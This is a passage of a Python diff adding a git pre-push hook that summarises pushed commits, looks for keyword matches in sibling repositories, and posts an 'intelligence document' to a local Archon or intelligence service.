repository_name.lower(), + ], + }, + ) + + +class MCPResponse(BaseModel): + """Standard MCP response""" + + success: bool = Field(..., description="Operation success status") + document_id: Optional[str] = Field(None, description="Created document ID") + message: Optional[str] = Field(None, description="Response message") + error: Optional[str] = Field(None, description="Error message if failed") + + +class IntelligenceServiceRequest(BaseModel): + """Request for intelligence service document processing""" + + content: str = Field(..., description="Raw document content as JSON string") + source_path: str = Field(..., description="Source path identifier") + metadata: Dict[str, Any] = Field( + default_factory=dict, description="Additional metadata" + ) + store_entities: bool = Field( + True, description="Whether to store extracted entities" + ) + extract_relationships: bool = Field( + True, description="Whether to extract relationships" + ) + trigger_freshness_analysis: bool = Field( + True, description="Whether to trigger freshness analysis" + ) + + @classmethod + def from_intelligence_document( + cls, + content: IntelligenceDocumentContent, + repository_name: str, + commit_hash: str, + ) -> "IntelligenceServiceRequest": + """Create intelligence service request from document content""" + return cls( + content=json.dumps( + content.model_dump(), indent=2, default=json_datetime_serializer + ), + source_path=f"git://{repository_name}/commit/{commit_hash}", + metadata={ + "type": "intelligence_document", + "repository": repository_name, + "commit_hash": commit_hash, + "timestamp": content.metadata.timestamp.isoformat(), + "generated_by": "intelligence_hook_v3.1", + }, + ) + + +# Helper functions +def validate_intelligence_document( + content: Dict[str, Any], +) -> IntelligenceDocumentContent: + """Validate and parse intelligence document content""" + return IntelligenceDocumentContent(**content) + + +def create_intelligence_metadata( + repository: str, branch: str, commit: str, author: str, hook_version: str = "3.1" +) -> IntelligenceMetadata: + """Create intelligence metadata with current timestamp""" + return IntelligenceMetadata( + timestamp=datetime.now(), + repository=repository, + branch=branch, + commit=commit, + author=author, + hook_version=f"intelligence_hook_v{hook_version}", + ) + + +def create_change_summary( + commit_message: str, + files_changed: int, + lines_added: int = 0, + lines_removed: int = 0, + security_status: SecurityStatus = SecurityStatus.CLEAN, +) -> ChangeSummary: + """Create change summary from git information""" + return ChangeSummary( + commit_message=commit_message, + files_changed=files_changed, + lines_added=lines_added, + lines_removed=lines_removed, + security_status=security_status, + ) + + +# Models are now always available +CONFIG_AVAILABLE = False # No centralized config in other repositories + + +class IntelligenceHook: + def __init__(self, config_path: Optional[str] = None): + """Initialize the intelligence hook with configuration.""" + self.config = self._load_config(config_path) + self.logger = self._setup_logging() + + # API configuration - use centralized config system if available + if CONFIG_AVAILABLE: + try: + archon_config = get_archon_config() + # Use Intelligence service for document creation (port 8053) + self.api_url = f"http://localhost:{archon_config.intelligence_service.port}/extract/document" + self.use_mcp_format = False + self.logger.info( + f"Using centralized config - Intelligence service: {self.api_url}" + ) + except Exception as e: + self.logger.warning(f"Failed to load centralized config: {e}") + # Fallback to legacy configuration - use intelligence service + self.api_url = "http://localhost:8053/extract/document" + self.use_mcp_format = False + else: + # Legacy configuration loading + archon_endpoint = self.config.get( + "archon_mcp_endpoint", "http://localhost:8051/mcp" + ) + intelligence_api_url = self.config.get("intelligence_api", {}).get( + "url", "http://localhost:8053/extract/document" + ) + + # Use MCP endpoint for document creation (proper format) + if "archon_mcp_endpoint" in self.config: + self.api_url = archon_endpoint + self.use_mcp_format = True + else: + self.api_url = intelligence_api_url + self.use_mcp_format = False + + self.api_timeout = self.config.get("intelligence_api", {}).get("timeout", 10) + self.retry_attempts = self.config.get("intelligence_api", {}).get( + "retry_attempts", 2 + ) + + # Project ID for document creation + self.project_id = self.config.get("archon_project_id") + + # Feature flags + self.correlations_enabled = self.config.get("features", {}).get( + "correlations", True + ) + self.file_analysis_enabled = self.config.get("features", {}).get( + "file_analysis", True + ) + self.commit_analysis_enabled = self.config.get("features", {}).get( + "commit_analysis", True + ) + + # Repository configuration + self.repo_root = Path.cwd() + self.repo_name = self.repo_root.name + + def _load_config(self, config_path: Optional[str]) -> Dict[str, Any]: + """Load configuration from file or use defaults.""" + default_config = { + "intelligence_api": { + "url": "http://localhost:8053/extract/document", + "timeout": 30, + "retry_attempts": 3, + }, + "features": { + "correlations": True, + "file_analysis": True, + "commit_analysis": True, + "cross_repo_analysis": True, + }, + "analysis": { + "max_commits": 10, + "max_files_per_commit": 50, + "correlation_lookback_days": 3, + "min_correlation_strength": 0.3, + }, + "logging": { + "level": "INFO", + "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s", + }, + } + + if config_path and Path(config_path).exists(): + try: + with open(config_path, "r") as f: + file_config = json.load(f) + # Merge with defaults + self._deep_merge(default_config, file_config) + except Exception as e: + print(f"Warning: Failed to load config from {config_path}: {e}") + + return default_config + + def _deep_merge(self, base: Dict, update: Dict) -> None: + """Deep merge configuration dictionaries.""" + for key, value in update.items(): + if key in base and isinstance(base[key], dict) and isinstance(value, dict): + self._deep_merge(base[key], value) + else: + base[key] = value + + def _setup_logging(self) -> logging.Logger: + """Setup logging configuration.""" + logger = logging.getLogger("intelligence_hook") + log_level = getattr( + logging, self.config.get("logging", {}).get("level", "INFO").upper() + ) + logger.setLevel(log_level) + + if not logger.handlers: + handler = logging.StreamHandler() + formatter = logging.Formatter( + self.config.get("logging", {}).get( + "format", "%(asctime)s - %(name)s - %(levelname)s - %(message)s" + ) + ) + handler.setFormatter(formatter) + logger.addHandler(handler) + + return logger + + def run_git_command(self, cmd: List[str], cwd: Optional[Path] = None) -> str: + """Run a git command and return the output.""" + self.logger.debug( + f"Executing git command: {' '.join(cmd)} in {cwd or self.repo_root}" + ) + try: + result = subprocess.run( + cmd, + cwd=cwd or self.repo_root, + capture_output=True, + text=True, + check=True, + ) + output = result.stdout.strip() + self.logger.debug( + f"Git command output ({len(output)} chars): {output[:200]}..." + ) + return output + except subprocess.CalledProcessError as e: + self.logger.error(f"Git command failed: {' '.join(cmd)}, error: {e.stderr}") + return "" + + def get_commit_info(self, commit_hash: str) -> Dict[str, Any]: + """Get detailed information about a commit.""" + self.logger.debug(f"Getting commit info for: {commit_hash}") + try: + # Get commit metadata + commit_data = self.run_git_command( + [ + "git", + "show", + "--format=%H|%s|%an|%ae|%at|%B", + "--name-status", + commit_hash, + ] + ) + + if not commit_data: + self.logger.warning(f"No commit data returned for {commit_hash}") + return {} + + lines = commit_data.split("\n") + header = lines[0].split("|") + self.logger.debug(f"Parsed commit header: {len(header)} fields") + + if len(header) < 6: + self.logger.warning( + f"Invalid commit header format for {commit_hash}: {header}" + ) + return {} + + commit_hash, subject, author_name, author_email, timestamp = header[:5] + commit_message = "|".join(header[5:]) if len(header) > 5 else subject + + # Parse timestamp safely - handle cases where it might not be a valid integer + try: + parsed_timestamp = int(timestamp) + except (ValueError, TypeError) as e: + self.logger.warning( + f"Invalid timestamp format '{timestamp}' for commit {commit_hash}, using current time: {e}" + ) + parsed_timestamp = int(time.time()) + + # Parse file changes + file_changes = [] + in_files = False + for line_idx, line in enumerate(lines[1:], 1): + if line.strip() == "": + in_files = True + continue + if in_files and "\t" in line: + parts = line.split("\t") + if len(parts) >= 2: + status = parts[0] + filename = parts[1] + file_changes.append( + { + "status": status, + "filename": filename, + "file_type": Path(filename).suffix.lstrip(".") + or "no_extension", + } + ) + + self.logger.debug( + f"Parsed {len(file_changes)} file changes for commit {commit_hash}" + ) + + return { + "commit_hash": commit_hash, + "subject": subject, + "message": commit_message, + "author_name": author_name, + "author_email": author_email, + "timestamp": parsed_timestamp, + "file_changes": file_changes, + } + except Exception as e: + self.logger.error(f"Failed to get commit info for {commit_hash}: {e}") + return {} + + def analyze_file_changes( + self, file_changes: List[Dict[str, Any]] + ) -> Dict[str, Any]: + """Analyze file changes to extract patterns and technologies.""" + self.logger.debug(f"Analyzing {len(file_changes)} file changes") + if not self.file_analysis_enabled: + self.logger.debug("File analysis disabled, returning empty result") + return {} + + file_types = {} + directories = set() + technologies_detected = [] + + for change in file_changes: + filename = change.get("filename", "") + file_type = change.get("file_type", "unknown") + + # Count file types + file_types[file_type] = file_types.get(file_type, 0) + 1 + + # Extract directories + if "/" in filename: + directories.add(filename.split("/")[0]) + + # Detect technologies based on file patterns + if file_type in ["py", "pyx", "pyi"]: + technologies_detected.append("Python") + elif file_type in ["js", "jsx", "ts", "tsx"]: + technologies_detected.append("JavaScript/TypeScript") + elif file_type in ["rs", "toml"] and "Cargo" in filename: + technologies_detected.append("Rust") + elif file_type in ["go", "mod"]: + technologies_detected.append("Go") + elif file_type == "yml" or file_type == "yaml": + if "docker" in filename.lower() or "compose" in filename.lower(): + technologies_detected.append("Docker") + else: + technologies_detected.append("YAML Configuration") + elif filename == "Dockerfile" or filename.startswith("Dockerfile."): + technologies_detected.append("Docker") + elif filename in ["package.json", "package-lock.json"]: + technologies_detected.append("Node.js") + elif filename in ["pyproject.toml", "setup.py", "requirements.txt"]: + technologies_detected.append("Python Packaging") + + result = { + "file_types": file_types, + "directories_affected": list(directories), + "technologies_detected": list(set(technologies_detected)), + "total_files_changed": len(file_changes), + } + self.logger.debug( + f"File analysis complete: {len(result['technologies_detected'])} technologies, {len(result['directories_affected'])} directories" + ) + return result + + def find_cross_repo_correlations( + self, commit_info: Dict[str, Any] + ) -> List[Dict[str, Any]]: + """Find correlations with other repositories.""" + self.logger.debug( + f"Finding cross-repo correlations for commit: {commit_info.get('commit_hash', 'unknown')}" + ) + if not self.correlations_enabled: + self.logger.debug("Correlations disabled, returning empty result") + return [] + + correlations = [] + + try: + # Extract keywords from commit message and subject + message_text = f"{commit_info.get('subject', '')} {commit_info.get('message', '')}".lower() + keywords = [] + self.logger.debug(f"Processing commit message: {message_text[:100]}...") + + # Extract meaningful keywords (longer than 3 chars, not common words) + common_words = { + "the", + "and", + "for", + "are", + "but", + "not", + "you", + "all", + "can", + "her", + "was", + "one", + "our", + "had", + "day", + "get", + "use", + "man", + "new", + "now", + "way", + "may", + "say", + "each", + "which", + "their", + "time", + "will", + "about", + "would", + "there", + "could", + "other", + "after", + "first", + "well", + "many", + "some", + "what", + "only", + "his", + "has", + "more", + "two", + "like", + "into", + "him", + "see", + "how", + "its", + "who", + "than", + "been", + "call", + "come", + "made", + "over", + "also", + "back", + "were", + "out", + "very", + "your", + "when", + "much", + "before", + "through", + "just", + "where", + "too", + "any", + "same", + "right", + "under", + "while", + } + + for word in message_text.split(): + word = word.strip('.,!?";()[]{}:') + if len(word) > 3 and word not in common_words: + keywords.append(word) + + if not keywords: + self.logger.debug("No meaningful keywords found in commit message") + return correlations + + self.logger.debug(f"Extracted {len(keywords)} keywords: {keywords[:5]}") + + # Look for sibling repositories + parent_dir = self.repo_root.parent + sibling_repos = [ + s + for s in parent_dir.iterdir() + if (s.is_dir() and s != self.repo_root and (s / ".git").exists()) + ] + self.logger.debug( + f"Found {len(sibling_repos)} sibling repositories to check" + ) + + for sibling in sibling_repos: + self.logger.debug( + f"Checking correlations with repository: {sibling.name}" + ) + if ( + sibling.is_dir() + and sibling != self.repo_root + and (sibling / ".git").exists() + ): + + # Search for similar commits in sibling repos + matching_commits = self._find_matching_commits_in_repo( + sibling, keywords + ) + + if matching_commits: + strength = min(len(matching_commits) * 0.2, 1.0) + self.logger.debug( + f"Found {len(matching_commits)} matching commits in {sibling.name}, strength: {strength}" + ) + correlations.append( + { + "type": "semantic_keyword", + "repository": sibling.name, + "shared_keywords": keywords[:5], # Limit keywords + "matching_commits": matching_commits[ + :3 + ], # Limit matches + "correlation_strength": strength, + } + ) + else: + self.logger.debug( + f"No matching commits found in {sibling.name}" + ) + + except Exception as e: + self.logger.error(f"Failed to find cross-repo correlations: {e}") + + return correlations + + def _find_matching_commits_in_repo( + self, repo_path: Path, keywords: List[str] + ) -> List[Dict[str, Any]]: + """Find matching commits in a specific repository.""" + matching_commits = [] + + try: + # Build grep pattern for keywords + grep_pattern = "|".join( + keywords[:5] + ) # Limit keywords to avoid long commands + + # Search recent commits for keyword matches + cmd = [ + "git", + "log", + "--since=3 days ago", + f"--grep={grep_pattern}", + "--pretty=format:%H|%s|%an", + "--max-count=5", + ] + + output = self.run_git_command(cmd, cwd=repo_path) + + if output: + for line in output.split("\n"): + parts = line.split("|") + if len(parts) >= 3: + matching_commits.append( + { + "commit": parts[0], + "message": parts[1], + "author": parts[2], + } + ) + + except Exception as e: + self.logger.debug(f"Failed to search commits in {repo_path}: {e}") + + return matching_commits + + def build_intelligence_document(self, commits_to_push: List[str]) -> Dict[str, Any]: + """Build the complete intelligence document.""" + self.logger.info( + f"Building intelligence document for {len(commits_to_push)} commits" + ) + + # Get commit information + commits_data = [] + all_file_changes = [] + all_correlations = [] + + for idx, commit_hash in enumerate(commits_to_push, 1): + self.logger.debug( + f"Processing commit {idx}/{len(commits_to_push)}: {commit_hash}" + ) + commit_info = self.get_commit_info(commit_hash) + if commit_info: + commits_data.append(commit_info) + file_changes = commit_info.get("file_changes", []) + all_file_changes.extend(file_changes) + self.logger.debug( + f"Commit {commit_hash} has {len(file_changes)} file changes" + ) + + # Find correlations for this commit + if self.correlations_enabled: + correlations = self.find_cross_repo_correlations(commit_info) + all_correlations.extend(correlations) + self.logger.debug( + f"Found {len(correlations)} correlations for commit {commit_hash}" + ) + else: + self.logger.warning(f"Failed to get commit info for {commit_hash}") + + if not commits_data: + self.logger.warning("No valid commits found to analyze") + return {} + + self.logger.info( + f"Successfully processed {len(commits_data)} commits with {len(all_file_changes)} total file changes" + ) + + # Analyze file changes + self.logger.debug("Starting file analysis") + file_analysis = self.analyze_file_changes(all_file_changes) + + # Build the intelligence document + self.logger.debug("Building final intelligence document structure") + intelligence_doc = { + "repository_name": self.repo_name, + "repository_path": str(self.repo_root), + "timestamp": int(time.time()), + "commit_hash": ( + commits_data[0]["commit_hash"] if commits_data else "unknown" + ), + "commits_analyzed": len(commits_data), + "intelligence_data": { + "technologies_detected": file_analysis.get("technologies_detected", []), + "architecture_patterns": self._detect_architecture_patterns( + all_file_changes + ), + "file_analysis": file_analysis, + "commit_analysis": { + "total_commits": len(commits_data), + "commits": commits_data, + "summary": self._generate_commit_summary(commits_data), + }, + "correlation_analysis": { + "temporal_correlations": all_correlations, + "cross_repository_insights": self._generate_cross_repo_insights( + all_correlations + ), + }, + }, + } + + # Log document summary + tech_count = len(intelligence_doc["intelligence_data"]["technologies_detected"]) + pattern_count = len( + intelligence_doc["intelligence_data"]["architecture_patterns"] + ) + correlation_count = len( + intelligence_doc["intelligence_data"]["correlation_analysis"][ + "temporal_correlations" + ] + ) + + self.logger.info( + f"Intelligence document built: {tech_count} technologies, {pattern_count} patterns, {correlation_count} correlations" + ) + self.logger.debug(f"Document size: {len(str(intelligence_doc))} characters") + + return intelligence_doc + + def _detect_architecture_patterns( + self, file_changes: List[Dict[str, Any]] + ) -> List[str]: + """Detect architectural patterns from file changes.""" + patterns = [] + filenames = [change.get("filename", "") for change in file_changes] + + # Microservices patterns + if any("service" in f.lower() for f in filenames): + patterns.append("Microservices") + + # API patterns + if any("api" in f.lower() or "endpoint" in f.lower() for f in filenames): + patterns.append("REST API") + + # Database patterns + if any( + "model" in f.lower() or "schema" in f.lower() or "migration" in f.lower() + for f in filenames + ): + patterns.append("Database Layer") + + # Frontend patterns + if any(f.endswith((".tsx", ".jsx", ".vue", ".svelte")) for f in filenames): + patterns.append("Component-Based UI") + + # Configuration patterns + if any( + f.endswith((".yml", ".yaml", ".toml", ".json")) and "config" in f.lower() + for f in filenames + ): + patterns.append("Configuration Management") + + # Docker patterns + if any("docker" in f.lower() or f == "Dockerfile" for f in filenames): + patterns.append("Containerization") + + return patterns + + def _generate_commit_summary(self, commits_data: List[Dict[str, Any]]) -> str: + """Generate a summary of the commits.""" + if not commits_data: + return "No commits to analyze" + + # Extract action keywords + actions = [] + for commit in commits_data: + subject = commit.get("subject", "").lower() + if subject.startswith(("feat:", "feature:")): + actions.append("feature development") + elif subject.startswith(("fix:", "bugfix:")): + actions.append("bug fixes") + elif subject.startswith(("refactor:", "refact:")): + actions.append("code refactoring") + elif subject.startswith(("docs:", "doc:")): + actions.append("documentation updates") + elif subject.startswith(("test:", "tests:")): + actions.append("testing improvements") + elif subject.startswith(("chore:", "build:", "ci:")): + actions.append("maintenance tasks") + else: + actions.append("general development") + + unique_actions = list(set(actions)) + if len(unique_actions) == 1: + return f"Batch commit focused on {unique_actions[0]}" + else: + return f"Mixed development including {', '.join(unique_actions)}" + + def _generate_cross_repo_insights( + self, correlations: List[Dict[str, Any]] + ) -> List[str]: + """Generate insights from cross-repository correlations.""" + insights = [] + + if not correlations: + return insights + + # Group correlations by repository + repo_correlations = {} + for corr in correlations: + repo = corr.get("repository", "unknown") + if repo not in repo_correlations: + repo_correlations[repo] = [] + repo_correlations[repo].append(corr) + + # Generate insights + for repo, corrs in repo_correlations.items(): + strength = sum(c.get("correlation_strength", 0) for c in corrs) / len(corrs) + if strength > 0.5: + insights.append( + f"Strong correlation with {repo} (strength: {strength:.2f})" + ) + elif strength > 0.3: + insights.append( + f"Moderate correlation with {repo} (strength: {strength:.2f})" + ) + + if len(repo_correlations) > 2: + insights.append( + f"Cross-repository development activity detected across {len(repo_correlations)} repositories" + ) + + return insights + + def _create_intelligence_document_content(self, doc: Dict[str, Any]): + """Transform dictionary document into validated Pydantic IntelligenceDocumentContent.""" + if not PYDANTIC_AVAILABLE: + raise ImportError( + "Pydantic models not available - cannot create validated document" + ) + + # Return type is IntelligenceDocumentContent when Pydantic is available + + # Get basic document info + repository_name = doc.get("repository_name", "unknown") + commit_hash = doc.get("commit_hash", "unknown") + timestamp = doc.get("timestamp", int(time.time())) + + # Extract commits data + intelligence_data = doc.get("intelligence_data", {}) + commit_analysis = intelligence_data.get("commit_analysis", {}) + commits = commit_analysis.get("commits", []) + + # Get first commit for metadata (most recent) + first_commit = commits[0] if commits else {} + branch = first_commit.get("branch", "main") + author = first_commit.get("author", "unknown") + commit_message = first_commit.get("commit_message", "Multiple commits") + + # Create metadata using helper function + metadata = create_intelligence_metadata( + repository=repository_name, + branch=branch, + commit=commit_hash, + author=author, + hook_version="3.1", + ) + + # Create change summary + files_changed = sum(len(commit.get("file_changes", [])) for commit in commits) + lines_added = sum( + change.get("additions", 0) + for commit in commits + for change in commit.get("file_changes", []) + ) + lines_removed = sum( + change.get("deletions", 0) + for commit in commits + for change in commit.get("file_changes", []) + ) + + change_summary = create_change_summary( + commit_message=commit_message, + files_changed=files_changed, + lines_added=lines_added, + lines_removed=lines_removed, + security_status=SecurityStatus.CLEAN, + ) + + # Create correlation analysis + correlation_data = intelligence_data.get("correlation_analysis", {}) + temporal_correlations = correlation_data.get("temporal_correlations", []) + cross_repo_insights = correlation_data.get("cross_repository_insights", []) + + # Determine impact assessment + breaking_changes = [] + affected_systems = [] + risk_level = RiskLevel.LOW + + # Analyze file changes for breaking changes and affected systems + for commit in commits: + for change in commit.get("file_changes", []): + filename = change.get("filename", "") + if any( + keyword in filename.lower() + for keyword in ["api", "interface", "schema"] + ): + breaking_changes.append(f"Potential breaking change in {filename}") + risk_level = RiskLevel.MEDIUM + if any(keyword in filename.lower() for keyword in ["config", "env"]): + affected_systems.append("Configuration") + if any(filename.endswith(ext) for ext in [".sql", ".migration"]): + affected_systems.append("Database") + + impact_assessment = ImpactAssessment( + coordination_required=len(temporal_correlations) > 0, + risk_level=risk_level, + affected_systems=list(set(affected_systems)), + breaking_changes=breaking_changes, + ) + + cross_repository_correlation = CrossRepositoryCorrelation( + enabled=self.correlations_enabled, + correlation_id=f"{repository_name}-{commit_hash}-{timestamp}", + temporal_correlations=temporal_correlations, + semantic_correlations=[], # Not implemented yet + breaking_changes=[], # Could be enhanced + impact_assessment=impact_assessment, + ) + + # Create security and privacy analysis + file_analysis = intelligence_data.get("file_analysis", {}) + security_and_privacy = SecurityAndPrivacy( + sensitive_patterns=[], # Could be enhanced with actual pattern detection + security_score=1.0, + privacy_concerns=[], + recommendations=[], + ) + + # Create technical analysis + technologies_detected = intelligence_data.get("technologies_detected", []) + architecture_patterns = intelligence_data.get("architecture_patterns", []) + + technical_analysis = TechnicalAnalysis( + complexity_score=float(len(commits)), # Simple metric + quality_score=1.0, + maintainability="good", + test_coverage=None, + architecture_compliance={ + "technologies": technologies_detected, + "patterns": architecture_patterns, + "total_files": files_changed, + }, + ) + + # Create the complete intelligence document + return IntelligenceDocumentContent( + analysis_type=AnalysisType.ENHANCED_CODE_CHANGES_WITH_CORRELATION, + metadata=metadata, + change_summary=change_summary, + cross_repository_correlation=cross_repository_correlation, + security_and_privacy=security_and_privacy, + technical_analysis=technical_analysis, + raw_diff=None, # Could be added if needed + ) + + def submit_intelligence_document(self, doc: Dict[str, Any]) -> bool: + """Submit the intelligence document to the Archon system.""" + if not doc: + self.logger.warning("No document to submit") + return False + + # Keep original document for Pydantic models (they expect datetime objects) + # Only serialize for JSON fallback cases + + # Transform intelligence document into the appropriate format + self.logger.debug("Transforming intelligence document for API submission") + + if self.use_mcp_format: + # Use MCP format for document creation with Pydantic validation + try: + # First create a validated intelligence document content + intelligence_content = self._create_intelligence_document_content(doc) + + # Create MCP request using Pydantic model + mcp_request = MCPCreateDocumentRequest.create_intelligence_document( + project_id=self.project_id, + content=intelligence_content, + repository_name=doc.get("repository_name", "Unknown"), + ) + payload = mcp_request.model_dump(mode="json") + except Exception as e: + self.logger.error(f"Failed to create validated MCP payload: {e}") + + # Fallback to dictionary format if validation fails + # Use JSON serialization for datetime objects in fallback + def serialize_datetime_objects(obj): + """Recursively convert datetime objects to ISO format strings.""" + if isinstance(obj, datetime): + return obj.isoformat() + elif isinstance(obj, dict): + return { + k: serialize_datetime_objects(v) for k, v in obj.items() + } + elif isinstance(obj, list): + return [serialize_datetime_objects(item) for item in obj] + else: + return obj + + serializable_doc = serialize_datetime_objects(doc) + payload = { + "method": "tools/call", + "params": { + "name": "mcp__archon__create_document", + "arguments": { + "project_id": self.project_id, + "title": f"Intelligence: {serializable_doc.get('repository_name', 'Unknown')} Code Changes with Analysis", + "document_type": "intelligence", + "content": serializable_doc, + "author": "Intelligence Hook v3.1", + "tags": ["intelligence", "automation", "git-hook"], + }, + }, + } + self.logger.debug( + f"Using MCP format for document creation in project {self.project_id}" + ) + else: + # Use intelligence service format with Pydantic validation + try: + # First create a validated intelligence document content + intelligence_content = self._create_intelligence_document_content(doc) + + # Create intelligence service request using Pydantic model + service_request = IntelligenceServiceRequest.from_intelligence_document( + content=intelligence_content, + repository_name=doc.get("repository_name", "unknown"), + commit_hash=doc.get("commit_hash", "unknown"), + ) + # Use model_dump with serialization mode to handle datetime objects + payload = service_request.model_dump(mode="json") + except Exception as e: + self.logger.error(f"Failed to create validated service payload: {e}") + + # Fallback to dictionary format if validation fails + # Use JSON serialization for datetime objects in fallback + def serialize_datetime_objects(obj): + """Recursively convert datetime objects to ISO format strings.""" + if isinstance(obj, datetime): + return obj.isoformat() + elif isinstance(obj, dict): + return { + k: serialize_datetime_objects(v) for k, v in obj.items() + } + elif isinstance(obj, list): + return [serialize_datetime_objects(item) for item in obj] + else: + return obj + + serializable_doc = serialize_datetime_objects(doc) + content = json.dumps( + serializable_doc, indent=2, default=json_datetime_serializer + ) + source_path = f"git://{serializable_doc.get('repository_name', 'unknown')}/commit/{serializable_doc.get('commit_hash', 'unknown')}" + + payload = { + "content": content, + "source_path": source_path, + "metadata": { + "type": "intelligence_document", + "repository": serializable_doc.get("repository_name"), + "commit_hash": serializable_doc.get("commit_hash"), + "timestamp": serializable_doc.get("timestamp"), + "commits_analyzed": serializable_doc.get("commits_analyzed"), + "generated_by": "intelligence_hook_v3.1", + }, + "store_entities": True, + "extract_relationships": True, + "trigger_freshness_analysis": True, + } + self.logger.debug(f"Using intelligence service format") + + # Wrap payload in JSON-RPC format only for MCP endpoint + if self.use_mcp_format: + jsonrpc_payload = { + "jsonrpc": "2.0", + "id": f"intelligence_hook_{int(time.time())}", + "method": payload.get("method", "tools/call"), + "params": payload.get("params", payload), + } + else: + # Intelligence service expects direct JSON payload + jsonrpc_payload = payload + + payload_size = len( + json.dumps(jsonrpc_payload, default=json_datetime_serializer) + ) + self.logger.debug(f"API payload prepared: size={payload_size} chars") + self.logger.debug( + f"Using API endpoint: {self.api_url} with timeout: {self.api_timeout}s" + ) + self.logger.debug(f"HTTP client: {HTTP_CLIENT}") + self.logger.debug( + f"JSON-RPC payload: {json.dumps(jsonrpc_payload, default=json_datetime_serializer, indent=2)[:1000]}..." + ) + + for attempt in range(self.retry_attempts + 1): + try: + self.logger.info( + f"Submitting intelligence document (attempt {attempt + 1}/{self.retry_attempts + 1})" + ) + + start_time = time.time() + + # Use the appropriate HTTP client + if HTTP_CLIENT == "httpx": + with httpx.Client() as client: + response = client.post( + self.api_url, + data=json.dumps( + jsonrpc_payload, default=json_datetime_serializer + ), + headers={ + "Content-Type": "application/json", + "Accept": "application/json, text/event-stream", + }, + timeout=self.api_timeout, + ) + response_time = time.time() - start_time + + self.logger.debug( + f"API response received in {response_time:.2f}s, status: {response.status_code}" + ) + + if response.status_code == 200: + try: + result = response.json() + self.logger.debug( + f"API response content: {str(result)[:200]}..." + ) + + # Intelligence service returns different success format + if "entities" in result or "document_id" in result: + self.logger.info( + f"✅ Intelligence document submitted successfully" + ) + if "entities" in result: + self.logger.info( + f"Extracted {len(result.get('entities', []))} entities" + ) + if "document_id" in result: + self.logger.info( + f"Document ID: {result['document_id']}" + ) + return True + else: + self.logger.error( + f"Unexpected API response format: {result}" + ) + except Exception as e: + self.logger.error( + f"Invalid JSON response: {e}, raw response: {response.text[:500]}" + ) + else: + self.logger.error( + f"HTTP {response.status_code}: {response.text[:500]}" + ) + else: + # Using requests + response = requests.post( + self.api_url, + data=json.dumps( + jsonrpc_payload, default=json_datetime_serializer + ), + headers={ + "Content-Type": "application/json", + "Accept": "application/json, text/event-stream", + }, + timeout=self.api_timeout, + ) + response_time = time.time() - start_time + + self.logger.debug( + f"API response received in {response_time:.2f}s, status: {response.status_code}" + ) + + if response.status_code == 200: + try: + result = response.json() + self.logger.debug( + f"API response content: {str(result)[:200]}..." + ) + + # Intelligence service returns different success format + if "entities" in result or "document_id" in result: + self.logger.info( + f"✅ Intelligence document submitted successfully" + ) + if "entities" in result: + self.logger.info( + f"Extracted {len(result.get('entities', []))} entities" + ) + if "document_id" in result: + self.logger.info( + f"Document ID: {result['document_id']}" + ) + return True + else: + self.logger.error( + f"Unexpected API response format: {result}" + ) + except json.JSONDecodeError as e: + self.logger.error( + f"Invalid JSON response: {e}, raw response: {response.text[:500]}" + ) + else: + self.logger.error( + f"HTTP {response.status_code}: {response.text[:500]}" + ) + + except Exception as e: + # Handle both httpx and requests exceptions + if HTTP_CLIENT == "httpx" and "timeout" in str(e).lower(): + self.logger.warning(f"Request timeout (attempt {attempt + 1})") + elif ( + HTTP_CLIENT == "requests" + and hasattr(e, "__module__") + and "requests" in e.__module__ + ): + if "timeout" in str(type(e)).lower(): + self.logger.warning(f"Request timeout (attempt {attempt + 1})") + else: + self.logger.error( + f"Request failed (attempt {attempt + 1}): {e}" + ) + else: + self.logger.error(f"Unexpected error (attempt {attempt + 1}): {e}") + + if attempt < self.retry_attempts: + self.logger.info(f"Retrying in 1 second...") + time.sleep(1) + + self.logger.error( + "❌ Failed to submit intelligence document after all attempts" + ) + return False + + def process_pre_push_hook(self, remote_name: str, remote_url: str) -> int: + """Process the pre-push hook.""" + self.logger.info( + f"🚀 Processing pre-push hook for {remote_name} ({remote_url})" + ) + self.logger.info(f"Repository: {self.repo_name} at {self.repo_root}") + self.logger.info( + f"Features enabled - correlations: {self.correlations_enabled}, file_analysis: {self.file_analysis_enabled}" + ) + + try: + # Get commits being pushed + commits_to_push = [] + self.logger.debug("Reading commit data from stdin") + + # Read from stdin if available (standard pre-push hook interface) + if not sys.stdin.isatty(): + for line in sys.stdin: + parts = line.strip().split() + if len(parts) >= 4: + # local_ref local_sha remote_ref remote_sha + local_ref, local_sha, remote_ref, remote_sha = parts[:4] + + if local_sha != "0000000000000000000000000000000000000000": + # Get commits being pushed + if remote_sha == "0000000000000000000000000000000000000000": + # New branch, get recent commits + commit_list = self.run_git_command( + ["git", "rev-list", "--max-count=10", local_sha] + ) + else: + # Existing branch, get commits between remote and local + commit_list = self.run_git_command( + ["git", "rev-list", f"{remote_sha}..{local_sha}"] + ) + + if commit_list: + commits_to_push.extend(commit_list.split("\n")) + + # If no commits from stdin, get recent commits + if not commits_to_push: + self.logger.info("No commits from stdin, analyzing recent commits") + recent_commits = self.run_git_command( + ["git", "rev-list", "--max-count=5", "HEAD"] + ) + if recent_commits: + commits_to_push = recent_commits.split("\n") + self.logger.debug( + f"Found {len(commits_to_push)} recent commits to analyze" + ) + + if not commits_to_push: + self.logger.warning( + "No commits to analyze, skipping intelligence processing" + ) + return 0 + + # Remove duplicates and limit + original_count = len(commits_to_push) + commits_to_push = list(set(commits_to_push))[ + : self.config.get("analysis", {}).get("max_commits", 10) + ] + if len(commits_to_push) != original_count: + self.logger.debug( + f"Deduplicated commits: {original_count} → {len(commits_to_push)}" + ) + + self.logger.info( + f"📊 Analyzing {len(commits_to_push)} commits: {commits_to_push[:3]}{'...' if len(commits_to_push) > 3 else ''}" + ) + + # Build intelligence document + self.logger.debug("Starting intelligence document generation") + intelligence_doc = self.build_intelligence_document(commits_to_push) + + if intelligence_doc: + self.logger.info("✅ Intelligence document generated successfully") + # Submit to Archon system + success = self.submit_intelligence_document(intelligence_doc) + if success: + self.logger.info("🎉 Pre-push hook completed successfully") + return 0 + else: + self.logger.error( + "❌ Pre-push hook failed during document submission" + ) + return 1 + else: + self.logger.warning( + "No intelligence document generated, continuing without intelligence update" + ) + return 0 + + except Exception as e: + self.logger.error(f"💥 Pre-push hook processing failed with exception: {e}") + import traceback + + self.logger.debug(f"Full traceback: {traceback.format_exc()}") + return 1 + + +def main(): + """Main entry point.""" + parser = argparse.ArgumentParser(description="Enhanced Intelligence Hook") + parser.add_argument("remote_name", nargs="?", default="origin", help="Remote name") + parser.add_argument("remote_url", nargs="?", default="", help="Remote URL") + 